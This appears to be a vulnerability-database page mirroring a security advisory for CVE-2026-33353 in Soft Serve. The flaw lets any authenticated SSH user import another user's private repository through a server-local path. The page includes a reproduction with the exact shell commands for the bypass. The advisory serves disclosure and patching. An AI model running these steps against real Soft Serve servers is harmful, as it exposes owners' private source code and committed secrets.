GHSA-XGXP-F695-6VRP

Vulnerability from github – Published: 2026-03-19 19:27 – Updated: 2026-03-27 21:58
VLAI
Summary
In Soft Serve, an authenticated repo import can clone server-local private repositories
Details

Summary

An authorization flaw in repo import allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.

Details

Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from pkg/ssh/cmd/cmd.go:172, which calls pkg/backend/user.go:46. If the destination repo does not already exist, any authenticated user is granted ReadWriteAccess at pkg/backend/user.go:94.

The import command then passes the user-controlled REMOTE into pkg/backend/repo.go:102. In vulnerable HEAD, git.Clone(remote, rp, copts) is reached without validating that remote is actually a network remote. As a result, a user can supply a server filesystem path such as $DATA_PATH/repos/secret.git and cause the server to clone its own local bare repository into a new repo owned by the attacker.

The relevant vulnerable flow is: - pkg/ssh/cmd/import.go - pkg/ssh/cmd/cmd.go:172 - pkg/backend/user.go:94 - pkg/backend/repo.go:102

PoC

Configuration: - Default local test configuration is sufficient. - SSH must be enabled. - At least two users are needed: one owner/admin and one low-privilege authenticated user.

Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo:

soft repo create secret -p
  1. Create a second low-privilege user:
soft user create user1 --key "$USER1_AUTHORIZED_KEY"
  1. Seed the private repo with secret content:
git clone ssh://localhost:$SSH_PORT/secret secret
echo 'top secret' > secret/SECRET.txt
git -C secret add SECRET.txt
git -C secret commit -m 'first'
git -C secret push origin HEAD
  1. Confirm the low-privilege user cannot access the private repo directly:
usoft repo info secret

Expected result:

Error: repository not found
  1. As the low-privilege user, import the server-local bare repo path into a new repo:
usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com
  1. Clone the attacker-controlled imported repo and read the secret:
ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone
cat stolen-clone/SECRET.txt

Expected result:

top secret

Notes: - The --lfs-endpoint value is needed to avoid later LFS endpoint handling rejecting the local-path import.

Impact

This is an authorization bypass and confidentiality issue.

Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.

Impacted parties: - Operators hosting Soft Serve for multiple users or teams - Owners of private repositories on the same instance - Any deployment where untrusted authenticated users can use repo import

Practical impact: - Theft of private source code - Disclosure of secrets committed to private repos - Exposure of unreleased or internal projects - Possible follow-on supply-chain risk if stolen code contains credentials or release material

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/charmbracelet/soft-serve"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "0.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33353"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:27:58Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user\u0027s private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity.\n\n### Details\nRepo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172), which calls [`pkg/backend/user.go:46`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L46). If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94).\n\nThe import command then passes the user-controlled `REMOTE` into [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102). In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker.\n\nThe relevant vulnerable flow is:\n- [`pkg/ssh/cmd/import.go`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/import.go)\n- [`pkg/ssh/cmd/cmd.go:172`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/ssh/cmd/cmd.go#L172)\n- [`pkg/backend/user.go:94`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/user.go#L94)\n- [`pkg/backend/repo.go:102`](https://github.com/charmbracelet/soft-serve/blob/main/pkg/backend/repo.go#L102)\n\n### PoC\nConfiguration:\n- Default local test configuration is sufficient.\n- SSH must be enabled.\n- At least two users are needed: one owner/admin and one low-privilege authenticated user.\n\nReproduction steps:\n1. Start Soft Serve.\n2. As an admin, create a private repo:\n\n```sh\nsoft repo create secret -p\n```\n\n3. Create a second low-privilege user:\n\n```sh\nsoft user create user1 --key \"$USER1_AUTHORIZED_KEY\"\n```\n\n4. Seed the private repo with secret content:\n\n```sh\ngit clone ssh://localhost:$SSH_PORT/secret secret\necho \u0027top secret\u0027 \u003e secret/SECRET.txt\ngit -C secret add SECRET.txt\ngit -C secret commit -m \u0027first\u0027\ngit -C secret push origin HEAD\n```\n\n5. Confirm the low-privilege user cannot access the private repo directly:\n\n```sh\nusoft repo info secret\n```\n\nExpected result:\n\n```text\nError: repository not found\n```\n\n6. As the low-privilege user, import the server-local bare repo path into a new repo:\n\n```sh\nusoft repo import stolen \"$DATA_PATH/repos/secret.git\" --lfs-endpoint http://example.com\n```\n\n7. Clone the attacker-controlled imported repo and read the secret:\n\n```sh\nugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone\ncat stolen-clone/SECRET.txt\n```\n\nExpected result:\n\n```text\ntop secret\n```\n\nNotes:\n- The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import.\n\n### Impact\nThis is an authorization bypass and confidentiality issue.\n\nAny authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories.\n\nImpacted parties:\n- Operators hosting Soft Serve for multiple users or teams\n- Owners of private repositories on the same instance\n- Any deployment where untrusted authenticated users can use `repo import`\n\nPractical impact:\n- Theft of private source code\n- Disclosure of secrets committed to private repos\n- Exposure of unreleased or internal projects\n- Possible follow-on supply-chain risk if stolen code contains credentials or release material",
  "id": "GHSA-xgxp-f695-6vrp",
  "modified": "2026-03-27T21:58:26Z",
  "published": "2026-03-19T19:27:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-xgxp-f695-6vrp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33353"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/commit/c147421caf234bcfc1570c79d728ecbbe5813e55"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/charmbracelet/soft-serve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "In Soft Serve, an authenticated repo import can clone server-local private repositories"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…